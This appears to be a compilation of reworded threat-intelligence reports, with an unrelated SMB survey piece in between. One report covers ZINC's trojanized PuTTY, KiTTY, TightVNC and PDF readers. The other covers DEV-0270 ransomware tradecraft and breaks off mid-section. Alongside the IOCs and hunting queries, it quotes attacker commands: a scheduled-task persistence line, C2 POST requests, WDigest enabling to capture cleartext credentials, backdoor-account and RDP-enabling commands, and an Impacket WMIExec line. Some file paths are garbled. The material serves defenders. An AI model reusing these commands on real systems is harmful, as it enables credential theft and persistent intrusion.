Microsoft has recently discovered a variety of social engineering activities by an actor we trace as ZINC that weaponized legal open-source software. In the US, UK, India, and Russia, the Microsoft Threat Intelligence Center (MSTIC) has detected activities aimed against employees of businesses in a variety of industries, including media, defense and aerospace, and IT services. ZINC, a state-sponsored organization based in North Korea with goals centered on espionage, data theft, financial gain, and network devastation, is the group MSTIC most confidently links this campaign to based on the observed tradecraft, infrastructure, tooling, and account affiliations.

Starting in June 2022, ZINC used conventional social engineering techniques by initially establishing connections with people on LinkedIn to build trust with their targets. After establishing a link, ZINC urged users to keep in touch using WhatsApp, which served as the vehicle for spreading their malicious payloads.

MSTIC saw ZINC using a variety of open-source programs, such as the installers for muPDF/Subliminal Recording, Sumatra PDF Reader, KiTTY, TightVNC, PuTTY, and KiTTY, to carry out these assaults. ZINC was seen making an effort to migrate laterally and exfiltrate data from target networks. Since June 2022, the actors have successfully compromised some organizations. Mandiant also reported on the ongoing campaign with the weaponized PuTTY earlier last month. ZINC might represent a serious threat to people and organizations across all industries and countries because of the widespread use of the platforms and software it uses in its campaign.

Comprehensive defense against ZINC-specific tools and malware is offered by Microsoft Defender for Endpoint, including ZetaNile. Customers will be able to thoroughly search their environments for pertinent signs with the help of the hunting questions provided at the end of this article. Microsoft directly informs customers who have been targeted or hacked, giving them the information they need to secure their accounts, just like with any observed nation-state actor action.

Who is ZINC?

ZINC is a nation-state activity organization that is highly operational, destructive, and sophisticated. The action group, which has been active since 2009, increased its level of public awareness in 2014 as a result of its successful attack on Sony Pictures Entertainment. Microsoft has identified FoggyBrass and PhantomStar as two of the customized remote access tools (RATs) used by ZINC in their inventory.

ZINC actors have been seen to mostly use spear-phishing, according to Microsoft researchers, but they have also been seen to use social engineering on social networking platforms and targeted website compromises to further their goals. ZINC targets employees of the companies it is trying to infiltrate and attempts to persuade them to open weaponized documents that include dangerous macros or install seemingly innocent apps. Security researchers have also been the targets of targeted attacks on Twitter and LinkedIn.

ZINC assaults seem to be driven by conventional cyberespionage, data theft from individuals and businesses, monetary gain, and corporate network devastation. Increased operational security, sophisticated malware that changes over time, and politically motivated targeting are just a few of the characteristics that ZINC attacks share with state-sponsored activities.

From late April through mid-September 2022, ZINC, also known as Labyrinth Chollima and Black Artemis, was seen carrying out this campaign.

Figure 1. Attack flow diagram for the recent ZINC campaign

Observed actor activity

Impersonation and establishing contact

ZINC was discovered by LinkedIn Threat Prevention and Defense making fake accounts pretending to be recruiters for tech, defense, and media entertainment businesses to divert targets away from LinkedIn and into the secure messaging platform WhatsApp for the distribution of malware. Engineers and technical support staff employed by media and IT businesses with locations in the US, UK, and India were the main targets of ZINC. Targets got outreach that was specific to their industry or educational background and were urged to apply for a position at one of several reputable businesses. LinkedIn quickly canceled any accounts connected to fraudulent or dishonest behavior for accounts uncovered in these assaults in compliance with its policy.

Figure 2. Fraudulent recruiter profile

Multiple methods used for delivery of ZetaNile

The ZetaNile virus family has been identified as the source of at least five techniques of malware open-source apps that contain harmful payloads and shellcode. The ZetaNile implants, also referred to as BLINDINGCAN, have been discussed in reports from CISA and JPCERT. The implant DLLs of the ZetaNile malware family are either encrypted with unique algorithms or loaded with commercial software protectors like Themida and VMProtect.

Figure 3 illustrates how the malicious DLL’s payload is decrypted using a special key that is given during the DLL search order hijacking of the genuine Windows process. The ZetaNile implants send command and control (C2) HTTP requests to known exploited C2 domains using special proprietary encryption techniques or AES encryption. These C2 communications can blend in with normal traffic by encoding the victim information in the parameters for popular keywords like game type or bbs in the HTTP POSTs.

The weaponization of SSH clients

ZINC operationalized malicious versions of the SSH clients PuTTY and KiTTY, which served as the entry point for the ZetaNile implant, after connecting to their target. Both applications offer terminal emulator support for many networking protocols, which attracts users who are usually the targets of ZINC. The weaponized versions were usually sent as ISO or ZIP compressed archives. The recipient will find a ReadMe.txt file and an executable program inside that archive. Running the bundled executable does not remove the ZetaNile implant as part of the advancement of ZINC’s malware development and an effort to bypass conventional defenses. The IP specified in the ReadMe.txt file is required by the SSH software for ZetaNile to be deployed. Below is a sample of what that file might contain:

Server: 137[.]184[.]15[.]189
User: [redacted]
Pass: [redacted]

Weaponized PuTTY malware

For many years, ZINC has used malware PuTTY as a component of its attack chain. The most current iteration creates persistence on infected devices by making use of scheduled activities. Mandiant recently alerted them to this activity. The malicious PUTTY.exe is set up to copy C:WindowsSystem32colorcpl.exe to C:ProgramDatacolorcpl.exe after installing the Event Horizon virus in C:ProgramDatacolorui.dll. ZINC can load the second stage malware colurui.dll and decode the payload with the key “0CE1241A44557AA438F27BC6D4ACA246” to be utilized for command and control by exploiting DLL search order hijacking. Once connected to the C2 server, the attackers can use the compromised device to install other malware for different purposes.

As part of the configuration for the weaponized PuTTY, a daily scheduled task called PackageColor is created, establishing persistence. ZINC achieves this with the command shown below:

Figure 3. PuTTY – scheduled task as part of persistence

Weaponized KiTTY malware

ZINC has long used a weaponized version of PuTTY, but they have just lately expanded their weapons to include weaponizing KiTTY, a fork of PuTTY. The application gathers the target system’s username and hostname before sending them via TCP/22 to a hardcoded IP address, 172[.]93[.]201[.]253. The malicious KiTTY program decodes numerous times before establishing a successful TCP connection to the server at 137[.]184[.]15[.]189, after which it deploys the malware as %AppData%mscoree.dll. The ZetaNile malware family’s embedded payload, identified as EventHorizon, is the mscoree.dll file. Similar to ZINC’s PuTTY, the actor loads malicious DLL files that operate in the context of these legitimate Windows processes using DLL search order hijacking, notably through %AppData%KiTTY%PresentationHost.exe -EmbeddingObject.

Figure 4. KiTTY – DLL search order hijacking

The mscoree.dll malware is modularized so that, after connecting successfully to the compromised C2 domain, the attackers can add new malware to the target system as necessary by using the C2 communication that is already in place. For example, the attackers could run C:ProgramDataCiscofixmapi.exe -s AudioEndpointBuilder to load malicious mapistub.dll from the C2 server. A unique ID for the field game type and a hardcoded value for the field type are included in the HTTP POST requests, which are used to track malware campaign activity. These features are described below:

POST /wp-includes/php-compat/compat.php HTTP/1.1
Accept: text/*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/100.0.1185.39
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Host: olidhealth[.]com
Connection: Keep-Alive
Cache-Control: no-cache  

gametype=[UniqueId]&type=O8Akm8aV09Nw412KoWJds

Weaponized TightVNC Viewer

ZINC was discovered using a trojanized TightVNC Viewer that was sent to a target together with a weaponized SSH tool over WhatsApp starting in September 2022. The PDBPath for this malware is special:

N:\2.MyDevelopment\3.Tools_Development\4.TightVNCCustomize\Munna_Customize\tightvnc\x64\\Release\tvnviewer.pdb

The weaponized versions of TightVNC Viewer were frequently distributed via online services like WhatsApp as compressed ZIP archives or job description-themed ISO files. The recipient will find a ReadMe.txt file and an executable program inside that archive. The following is in the text file (.txt):

Platform: 2nd from the list
User: [redacted]
Pass: [redacted]

The malicious TightVNC Viewer has a pre-populated list of remote hosts as part of the threat actor’s most recent malware technique to get past traditional defenses, and it is set up to only install the backdoor when the user chooses ec2-aet-tech.w-ada[.]amazonaws from the drop-down menu, as shown in Figure 5:

Figure 5. Weaponized TightVNC Viewer – user interface

The malware was set up to establish VNC sessions to the same IP on port TCP/5900 and submit the victim’s username and hostname to IP 44[.]238[.]74[.]84 as part of the victim’s check-in with the C2. The integrated second stage DLL payload from TightVNC.exe is loaded in memory once a successful connection to the server IP has been made in order to start C2 communication to a known compromised domain.

The weaponization of Sumatra PDF reader and muPDF/Subliminal Recording installer

Sumatra PDF and muPDF/Subliminal Recording installation are two malicious versions of PDF readers that ZINC has operationalized and which serve as the entry point for the ZetaNile implant. This method of delivery is commonly used in connection with fake job advertising sent to targets looking for employment in the IT and defense industries. The weaponized versions were usually sent in ZIP archives that had been compressed. The recipient will find an executable file inside that archive. The muPDF/Subliminal Recording installer can set up the backdoor without loading any malicious PDF files, in contrast to the malicious Sumatra PDF reader, which is a fully working PDF reader and can load the malicious implant from a false PDF.

Trojanized Sumatra PDF Reader

ZINC has been using SecurePDF.exe, a trojanized version of Sumatra PDF Reader, since at least 2019 and it continues to be special ZINC tradecraft. By loading a weaponized job application-themed PDF file, SecurePDF.exe, a modularized loader, can install the ZetaNile implant. When opened in the Sumatra PDF Reader, the fake PDF is rendered with the header “SPV005”, a decryption key, an encrypted second stage implant payload, and an encrypted decoy PDF.

The victim’s system hostname and device information are sent to a C2 communication server using unique encoding techniques once the second stage malware has been loaded in memory as part of the C2 check-in procedure. Using a C2 connection, the attackers can add more malware as needed to the hacked devices.

Figure 6. SecurePDF interface

Trojanized muPDF/Subliminal Recording installer

Setup.exe is programmed to check for the existence of the file path ISSetupPrerequisitesSetup64.exe and write C:colrctlcolorui.dll to disk after extracting the embedded executable inside setup.exe in the malware version of the muPDF/Subliminal Recording installation. Then it moves ColorCpl.exe from C: WindowsSystem32 to ColorCtrl. The malicious installation generates a new process named C:colorctrlcolorcpl.exe with the input C3A9B30B6A313F289297C9A36730DB6D, which is then supplied to colorui.dll as a decryption key for the second stage of the infection. When a victim checks in, the DLL colorui.dll, which Microsoft is tracking as part of the EventHorizon malware family, is injected into credwiz.exe or iexpress.exe to perform C2 HTTP requests and obtain additional malware.

POST /support/support.asp HTTP/1.1
Cache-Control: no-cache
Connection: close
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64;
Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
InfoPath.3; .NET4.0C; .NET4.0E)
Content-Length: 125
Host: www.elite4print[.]com

bbs=[encrypted payload]= &article=[encrypted payload] 

Microsoft will keep an eye on ZINC activity and put protections in place for our users. Below is a list of the detections and IOCs that are currently active across all of our security solutions.

Recommended customer actions

The following security considerations can be employed to mitigate the methods the actor used and are stated in the “Observed actor activity” section:

• Investigate whether they exist in your environment and make an assessment of any potential breaches using the indicators of compromise that are presented.
• Block incoming traffic from the IPs listed in the table “Indicators of Compromise.”
• To ensure validity and look into any unusual activity, review all authentication activity for the remote access infrastructure, paying special attention to accounts set up using single-factor authentication.
• To reduce the risk of credentials being stolen, enable multifactor authentication (MFA) and make sure that it is enforced for any remote connectivity. NOTE: To secure your accounts, Microsoft highly advises all customers to download and use password-less solutions like Microsoft Authenticator.
• Inform end users about how to avoid getting infected with malware, including how to ignore or delete unusual and unwanted emails that contain ISO attachments. Encourage end users to exercise excellent credential hygiene; restrict access to accounts with local or domain admin rights and enable Microsoft Defender Firewall to stop malware from spreading and being infected.
• End users should receive instructions on how to secure their private and professional information on social media, filter unwelcome mail, spot spear-phishing emails, and watering holes, and report any unusual behavior or recon attempts.

Indicators of compromise (IOCs)

The list of IOCs found during our investigation is shown below. We advise our customers to look into these indicators in their settings and put detections and protections in place to identify previous relevant activity and stop future attacks on their systems.

Indicator	Type	Description
Amazon-KiTTY.exe	File name
Amazon_IT_Assessment.iso	File name
IT_Assessment.iso	File name
amazon_assessment_test.iso	File name
SecurePDF.exe	File name
C:\ProgramData\Comms\colorui.dll	File path	Malicious PuTTY implant
%APPDATA%\KiTTY\mscoree.dll	File path	Malicious KiTTY implant
172.93.201[.]253	IP address	Adversary C2 server
137.184.15[.]189	IP address	Adversary SSH server
44.238.74[.]84	IP address	Hard-coded VNC Server IP for malicious TightVNC
c:\windows\system32\schtasks.exe /CREATE /SC DAILY /MO 1 /ST 10:30 /TR “C:\Windows\System32\cmd.exe /c start /b C:\ProgramData\PackageColor\colorcpl.exe 0CE1241A44557AA438F27BC6D4ACA246” /TN PackageColor /F	Scheduled task name	Putty.exe – Scheduled task
1492fa04475b89484b5b0a02e6ba3e52544c264c294b57210404b96b65e63266	SHA-256	Malicious Putty.exe
aaad412aeb0f98c2c27bb817682f08673902a48b65213091534f96fe6f5494d9	SHA-256	Malicious colorui.dll
63cddab76e9d63e3cbea421b607342735d924e462c40f3917b1b5fbdf8d4a20d	SHA-256	Malicious Amazon-Kitty.exe
e1ecf0f7bd90553baaa83dcdc177e1d2b20d6ee5520f5d9b44cdf59389432b10	SHA-256	Malicious KiTTY implant for mscoree.dll
c5a470cdf6f57125a8671f6b8843149cc78ccbc1a7bc615f34b23d9f241312bf	SHA-256	Weaponized Sumatra PDFReader.exe
71beb4252e93291c7b14dfcb4cbb5d58144a76181fbe4aab3592121a3dbd9c55	SHA-256	Weaponized muPDF/Subliminal Recording installer
olidhealth[.]com/wp-includes/php-compat/compat.php	Compromised domain
hurricanepub[.]com/include/include.php	Compromised domain
turnscor[.]com/wp-includes/contacts.php	Compromised domain
elite4print[.]com/support/support.asp	Compromised domain
cats.runtimerec[.]com/db/dbconn.php	Compromised domain
recruitment.raystechserv[.]com/lib/artichow/BarPlotDashboard.object.php	Compromised domain
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36 Edg/100.0.1185.39	User agent	Hardcoded Kitty.exe UA
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.3; .NET4.0C; .NET4.0E)	User agent	Hardcoded SecurePDF.exe UA
N:\2.MyDevelopment\3.Tools_Development\4.TightVNCCustomize\Munna_Customize\tightvnc\x64\\Release\tvnviewer.pdb	PDBPath	PDBPath for malicious TightVNC
37e30dc2faaabaf93f0539ffbde032461ab63a2c242fbe6e1f60a22344c8a334	SHA-256	Malicious TightVNC
14f736b7df6a35c29eaed82a47fc0a248684960aa8f2222b5ab8cdad28ead745	SHA-256	Malicious TightVNC

NOTE: These signs should not be viewed as being all-inclusive for the activity being monitored.

Detections

Microsoft Defender Antivirus

Customers of Microsoft Defender Antivirus and Microsoft Defender for Endpoints should pay attention to behavior associated with these attacks under the following family names:

• ZetaNile
• EventHorizon
• FoggyBrass
• PhantomStar

Microsoft Defender for Endpoint

The activities linked to this threat may be indicated by the following Microsoft Defender for Endpoint alerts. However, these alerts might also be set off by unrelated threat activities.

• Suspicious Task Scheduler activity
• Suspicious connection to remote service
• A suspicious file was observed
• An executable loaded an unexpected dll
• Possible theft of remote session credentials
• Suspicious connection to remote service

Microsoft 365 Defender

Customers of Microsoft 365 Defender can use the following advanced hunting queries to find connected activity:

• Suspicious mapistub.dll file creation

Look for PresentationHost.exe when it creates mapistub.dll since it will likely be used in attacks that hijack DLL search order.

DeviceFileEvents
| where InitiatingProcessFileName =~ "presentationhost.exe"
| where FileName =~ "mapistub.dll"

• Suspicious mscoree.dll file creation

Analyze any mscoree.dll instances PuTTY processes have produced.

DeviceFileEvents
| where InitiatingProcessFileName hassuffix "kitty.exe" or InitiatingProcessVersionInfoInternalFileName has "PuTTY"
| where FileName =~ "mscoree.dll"

• Suspicious colorcpl.exe image load

Surface instances of a DLL search order hijacking attack include the colorcpl.exe process loading colorui.dll in a path other than the one expected.

DeviceImageLoadEvents 
| where InitiatingProcessFileName =~ "colorcpl.exe"
| where FileName =~ "colorui.dll" and not(FolderPath has_any("system32", "syswow64", "program files"))

 

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Every community’s foundation is made up of small and medium-sized businesses (SMBs). They make up 99% of all organizations on the planet, with an estimated 400 million SMBs in operation. SMBs account for 60% to 85% of employment, making them the main source of new jobs. And according to the International Labor Organization, up to 70% of GDP is reportedly contributed by SMBs.

SMBs must be creative to succeed and prosper in a digitally connected economy given that scale and effect.

We saw that organizations that accelerated their digital transformation fared better than those that did not throughout the pandemic. Many claimed that focusing on tech intensity had helped them grow.

Microsoft was interested in finding out how SMBs view the realities of their companies in these entirely unknown circumstances, understanding their goals and priorities, and determining whether technology is seen as a driver for future success.

To capture the global footprint of SMBs, Analysys Mason was hired to conduct research with more than 3,000 SMBs from ten different regions of the world.

With the Microsoft SMB Voice and Attitudes to Technology Study 2022, we are announcing our findings today.

Digital technology adoption contributes to faster growth

According to the report, roughly 70% of organizations view growth as their main motivator, and those who adopted new technologies “early” had faster and higher growth. Early adopter companies are twice as likely to have met their previous goals as well as seen faster revenue growth over the previous year. They are also four times more likely to have a high level of confidence in their future performance. Today, with geopolitical unpredictability, high inflation, and rising energy costs, businesses are focused on maintaining growth. The continued effects of COVID-19 continue to worry 51% of businesses.

Security and reliability form the foundation

In the upcoming year, more than two-thirds of SMBs intend to boost their IT budgets while putting the following investments in the order of importance:

Eighty percent of companies anticipate a hybrid workforce for at least the next two years, and they need reliable, secure technology to help them achieve their objectives.

Partners help drive strategy and SMB growth

Although the majority of SMBs acknowledge the value of technology in achieving business objectives, only 16% consider it to be important. To match the appropriate technology to their business plan, however, many SMBs require partners. Nearly half of respondents pick technology partners, with 33% choosing Managed Service Providers or Cloud Solution Providers that they anticipate will aggressively offer technological solutions to accelerate companies’ business goals.

The millennial factor

41% of technological decision-making positions are held by millennials. They usually work for young businesses, and 13% of them are more inclined to believe that technology is crucial or indispensable to a company’s success. In their personal life, about one-third of millennials identify as technophiles, bringing some of their consumer tendencies into how they explore and buy technology and placing a high importance on peer reviews and ratings. In their How Millennials Work and Live survey from 2016, Gallup noted that millennials prefer meaning over financial security. As entrepreneurs, millennials incorporate these principles into their business and technological priorities.

Environmental, Social, and Governance (ESG) goals – no longer just for the enterprise

In the study, two-thirds of SMBs reported having frameworks for ESG evaluation and monitoring. The generation that is leading the way and is most likely to receive an annual report on their ESG progress is the millennial generation. In terms of priority areas, 37% said they wanted to reduce their environmental effect, 30% said they wanted to increase diversity and inclusion, and 30% said they wanted to create more jobs. The analysis shows a connection between an ESG focus and achieving business goals, with both of these characteristics being most common among early adopters.

99% of organizations throughout the world are actively looking for solutions to solve current problems and create new opportunities. The economics and way of life of billions of people worldwide are impacted by this community. They do this in order to thrive, bring innovation to their sectors, and provide value to their consumers, not just to be resilient and survive. Microsoft continues to pay attention to our SMB customers’ top concerns and learn from them.

 

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For more information, please get in touch with one of our course advisers today or contact us at training@coursemonster.com

Multiple ransomware campaigns have been observed by Microsoft threat intelligence teams, and these assaults have been linked to DEV-0270, also known as Nemesis Kitten, a division of the Iranian actor PHOSPHORUS. Microsoft determines that DEV-0270 performs harmful network operations, such as broad vulnerability scanning, on behalf of the Iranian government with a moderate degree of confidence. We estimate with low confidence that some of DEV-0270’s ransomware assaults are a kind of moonlighting for personal or company-specific money creation, although this is based on their geographic and sectoral targeting, which frequently lacked a strategic benefit for the regime. The strategies and methods used in the DEV-0270/PHOSPHORUS ransomware campaigns are described in this blog. We anticipate that Microsoft will use our analysis to further expose and prevent the progress of DEV-0270’s operations while protecting users from similar assaults.

DEV-0270 is renowned for adopting newly revealed vulnerabilities quickly and for using exploits for high-severity vulnerabilities to get access to devices. Living-off-the-land binaries (LOLBINs) are also used by DEV-0270 along the attack chain for credential access and discovery. This includes using the integrated BitLocker tool improperly to encrypt files on infected machines.

The time to ransom (TTR) between initial access and the ransom letter was as little as two days in some cases where encryption was successful. For decryption keys, the organization has been seen requesting USD 8,000. The actor has also been seen looking into other potential sources of cash for their activities. In one incident, the actor decided to offer the firm’s stolen data for sale packaged in a SQL database dump after the victim organization declined to pay the demanded ransom.

This blog describes the group’s tactics and procedures throughout its end-to-end attack chain using these findings to aid defenders in the identification, investigation, and prevention of attacks. We also offer in-depth hunting questions intended to uncover covert attacks. This blog also gives security and hardening advice to aid organizations in becoming more immune to attacks like these.

Figure 1. Typical DEV-0270 attack chain

Who is DEV-0270?

According to Microsoft, Secnerd (secnerd[.]ir) and Lifeweb are the two public aliases used by the organization that runs DEV-0270 (lifeweb[.]ir). We have seen a lot of infrastructure overlap between Secnerd/Lifeweb and DEV-0270. These groups are associated with Najee Technology Hooshmand (ناجی تکنولوژی هوشمند), which is based in Karaj, Iran.

Targeting by the group is often opportunistic; the actor searches the internet for servers and devices that are open to attack, rendering organizations with such servers and devices exposed to such attacks.

Microsoft directly informs customers who have been targeted or hacked, giving them the information they need to protect their accounts, as with any observed nation-state actor behavior. Up until we reach a high degree of confidence regarding the origin or identity of the actor behind the activity, Microsoft uses the DEV-#### designations as a temporary name given to an unknown, emerging, or developing cluster of threat activity. This enables Microsoft Threat Intelligence Center (MSTIC) to track it as a distinct set of information. A DEV gets transformed into a named actor once it satisfies the requirements.

Observed actor activity

Initial Access

The actor got access to several of the DEV-0270 cases that were observed by utilizing well-known Exchange or Fortinet flaws (CVE-2018-13379). ProxyLogon has been the most commonly used exploit for Exchange, which emphasizes the need to patch high-severity vulnerabilities in devices that are connected to the internet because the group has continued to successfully exploit these flaws even recently, long after updates had provided the fixes. Although there have been hints that DEV-0270 has attempted to attack Log4j 2 vulnerabilities, Microsoft has not seen this behavior utilized to spread ransomware against users.

Discovery

The DEV-0270 executes a series of discovery commands to get more information about the environment after gaining access to a company. The target’s domain name can be obtained with the command wmic computersystem get a domain. The net user command is used to add or edit user accounts, and the whoami command is used to show user information. Refer to the Advanced Hunting section for further details on the accounts established and common password combinations DEV-0270 employed.

• wmic computersystem get domain
• whoami
• net user

The actor ran the following command on the compromised Exchange server to gain an understanding of the target environment.

Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders

The actor used the following PowerShell and WMI commands to find domain controllers.

Credentials access

Since employing a LOLBin eliminates the need to use conventional credential theft tools that are more likely to be identified and prevented by antivirus and endpoint detection and response (EDR) solutions, DEV-0270 usually chooses this method to carry out their credential theft. The first step in this process is to enable WDigest in the registry. As a result, passwords are kept on the device in cleartext, saving the actor time by eliminating the need to decipher password hashes.

"reg" add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

The actor then exports passwords from LSASS into a dump file using rundll32.exe and comsvcs.dll’s integrated MiniDump function. The command used to achieve this usually specifies the output to save the LSASS passwords. Additionally, the file name (ssasl.dmp) is reversed to avoid detection:

Persistence

The DEV-0270 actor adds or creates a new user account, typically called DefaultAccount with a password of P@ssw0rd1234, to the device using the command net user /add in order to maintain access in a compromised network. On most Windows systems, the DefaultAccount account is normally a pre-existing account that has been set up but is not active.

The attacker then changes the device’s registry to permit remote desktop (RDP) connections, adds an RDP-permitting firewall rule using netsh.exe, and adds the user to the group of remote desktop users:

"reg" add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v TSEnabled /t REG_DWORD /d 1 /f

"reg" add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0

"reg" add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD

"netsh" advfirewall firewall add rule name="Terminal Server" dir=in action=allow protocol=TCP localport=3389

One of the common strategies employed by DEV-0270 in their attempts to keep control of a device is scheduled tasks. The tasks are typically configured to start on boot with the least privilege and load via an XML file, launching a.bat from the command line. The batch file downloads a reverse proxy called dllhost.exe with a new name to keep control of the device even if the company deletes the file from the device.

Figure 2. The scheduled task used in the DEV-0270 attacks

Privilege escalation

By injecting their web shell into a privileged process on a vulnerable web server, DEV-0270 may typically get initial access with administrator or system-level privileges. The gang usually already utilizes a privileged account to execute remote commands when they employ Impacket’s WMIExec to migrate to other systems on the network laterally. As noted in the section on credential access, DEV-0270 usually dumps LSASS to get local system credentials and pretends to other local accounts with possible elevated rights.

The establishment or activation of a user account to give it administrator access is another method of privilege escalation utilized by DEV-0270. To establish or enable this account and add it to the administrator’s group for greater privileges, DEV-0270 employs the powershell.exe and net.exe commands.

Defense evasion

To avoid being discovered, DEV-0270 employs a variety of defensive evasion strategies. To stop Microsoft Defender Antivirus from preventing the execution of their modified binaries, threat actors often disable real-time protection. To add the DefaultAccount account to the Administrators and Remote Desktop Users groups, the threat group either creates or activates it. The threat actor group now has access to a valid pre-existing account with elevated, unusual rights thanks to the alteration of the DefaultAccount. Additionally, DEV-0270 loads its root certificate into the local certificate database using powershell.exe. The appearance of a genuine Microsoft-signed certificate has been faked with this custom certificate. The unverified certificate signing chain, however, causes Windows to designate the spoof certificate as illegitimate. With the help of this certificate, the group can encrypt their malicious communications so that they blend in with the network’s normal traffic.

Furthermore, DEV-0270 makes extensive use of native LOLBins to successfully evade detection. To ensure operational security and stealth, the threat group commonly uses registry configurations, native WMI, net, CMD, and PowerShell commands. In order to conceal their presence, they also install and disguise their modified binaries as legitimate processes. They disguise their programs as genuine processes like dllhost.exe, task update.exe, user.exe, and CacheTask. DEV-0270 may terminate legitimate processes using.bat files and powershell.exe, execute their binary under the same process name, and then set up scheduled tasks to guarantee the persistence of their unique binaries.

Lateral movement

It has been observed that DEV-0270 adds defaultaccount to the Remote Desktop Users group and creates it. The group moves laterally, copies tools to the target device, and performs encryption using the RDP connection.

Impacket’s WMIExec is a well-known toolkit that the organization uses for lateral movement in addition to RDP. This was the primary way that they were seen in numerous compromises to switch to other organizational devices, run commands to find more high-value targets, and dump credentials for escalating privileges.

An illustration of a command issued from a distant device utilizing Impacket’s WMIExec:

cmd.exe /Q /c quser 1> \\127.0.0.1\ADMIN$\__1657130354.2207212 2>&1

Impact

BitLocker encryption has been enabled by DEV-0270 using setup.bat commands, making the hosts unusable. DiskCryptor, an open-source full disk encryption system for Windows that enables the encryption of a device’s whole hard drive, is the program the group employs for workstations. DiskCryptor is removed by the group from an RDP connection, and after it is started, the encryption process starts. It does take two reboots to implement this procedure and one more to shut out access to the workstation.

The PowerShell commands for DEV-0270 that utilize BitLocker are as follows:

Microsoft will keep an eye on DEV-0270 and PHOSPHORUS behavior and put protections in place for our clients. Below is a list of the detections, advanced detections, and IOCs that are presently in use across all of our security solutions.

Recommended mitigation steps

The following steps can be taken to reduce the impact of the DEV-0270 methods:

• Apply the relevant Exchange Server security patches, which may include solutions for CVE-2021-26855, CVE-2021-26858, CVE-2021-26857, and CVE-2021-27065. Internal Exchange Server instances that are not patched should be taken care of as soon as possible, even if it is crucial to prioritize patching of internet-facing Exchange servers to mitigate risk in an organized manner.
  • Critical product updates are published for both the most recent Cumulative Update (CU) and the prior CU for Exchange Server instances in Mainstream Support. Only the most recent CU receives critical product updates for Exchange Server instances in Extended Support.
  • To help customers more quickly protect their environment if they don’t have a supported CU, Microsoft is creating an additional series of security updates (SUs) that can be applied to some older and unsupported CUs. For previous Exchange Server Cumulative Updates, see March 2021 Exchange Server Security Updates for information on these updates.
  • The only effective mitigation for these vulnerabilities that have no effect on functionality is installing the updates. Installing the updates does not remove implanted malware or remove the threat actor if they have used these vulnerabilities to install malware.
• When possible, block RPC and SMB connectivity between devices using your network firewall, Microsoft Defender Firewall, and intrusion prevention systems. The ability to attack laterally and in other ways is so restricted.
• To limit or prevent network appliances like Fortinet SSL VPN devices from establishing arbitrary connections to the internet in order to browse or download files, check your perimeter firewall and proxy.
• Enforce secure passwords for local administrators. Use instruments like LAPS.
• Make that real-time behavior monitoring is turned, on and that Microsoft Defender Antivirus is up to date.
• Maintain backups so you can restore data from malicious attacks. To stop unwanted apps from editing protected files, use controlled folder access.
• To block or monitor activities connected with this threat, enable the following attack surface reduction rules:
  • Stop the Windows local security authority subsystem from stealing credentials (lsass.exe)
  • Block PsExec and WMI command-line-based process creations
  • Subscribing to WMI events, prevent persistence. Ensure that real-time behavior monitoring is enabled and that Microsoft Defender for Endpoint is up to date.

Detection details

Microsoft Defender for Endpoint

Threat activity on your network may be indicated by alerts in the security center with the following titles:

• Detected malware linked to the DEV-0270 activity group

The following notifications could also be signs of activity linked to this threat. These warnings, however, are not tracked in the status cards included with this report and can be brought on by unrelated threat behavior.

A script with suspicious content was observed	Suspicious file dropped by Exchange Server process
A suspicious file was observed	Suspicious Modify Registry
Anomalous behavior by a common executable	Suspicious Permission Groups Discovery
Lasagne post-exploitation tool	Suspicious PowerShell command line
Local Emails Collected	Suspicious PowerShell download or encoded command execution
Mimikatz credential theft tool	Suspicious Process Discovery
‘Mimilove’ high-severity malware was prevented	A suspicious process executed PowerShell command
A new group added suspiciously	The suspicious process launched using dllhost.exe
Ongoing hands-on-keyboard attack via Impacket toolkit	Suspicious ‘PShellCobStager’ behavior was blocked
Possible Antimalware Scan Interface (AMSI) tampering	Suspicious Scheduled Task Process Launched
Possible attempt to discover groups and permissions	A suspicious sequence of exploration activities
Possible exploitation of Exchange Server vulnerabilities	Suspicious ‘SuspExchgSession’ behavior was blocked
Possible exploitation of ProxyShell vulnerabilities	Suspicious System Network Configuration Discovery
Possible web shell installation	Suspicious System Owner/User Discovery
Process memory dump	Suspicious Task Scheduler activity
Suspicious Account Discovery: Email Account	Suspicious User Account Discovery
Suspicious behavior by cmd.exe was observed	Suspicious user password change
Suspicious behavior by svchost.exe was observed	Suspicious w3wp.exe activity in Exchange System file masquerade
Suspicious behavior by the Web server process	Tampering with the Microsoft Defender for Endpoint sensor
Suspicious Create Account	An unusual sequence of failed logons
Suspicious file dropped	WDigest configuration change

Hunting queries

Microsoft Sentinel

The following queries can be used by Microsoft Sentinel customers to search for relevant harmful activity in their environments.

DEV-0270 registry IOC

This search shows that the DEV-0270 actor modified the registry to remove ransom notes and disable security features:

• https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270RegistryIOCSep2022.yaml

DEV-0270 malicious PowerShell usage

At some points during their attack, DEV-0270 makes extensive use of PowerShell to accomplish their goal. A PowerShell activity linked to the actor is located using this query:

• https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270PowershellSep2022.yaml

DEV-0270 WMIC discovery

This WMIC query finds dllhost.exe and searches the environment for more hosts and related domains:

• https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0270WMICDiscoverySep2022.yaml

DEV-0270 new user creation

This search tries to find new users created with a known DEV-0270 username and password schema:

